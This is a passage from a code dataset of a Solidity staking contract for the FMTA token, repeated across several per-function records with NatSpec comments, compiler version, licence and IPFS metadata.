emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
stakeUnlockWindow
|
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
|
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
7677,
7918
]
}
| 55,503 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setStakeMultiplier
|
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
|
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
8214,
8397
]
}
| 55,504 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
stakeOf
|
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
|
/**
* returns a users staked position.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
8469,
8586
]
}
| 55,505 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
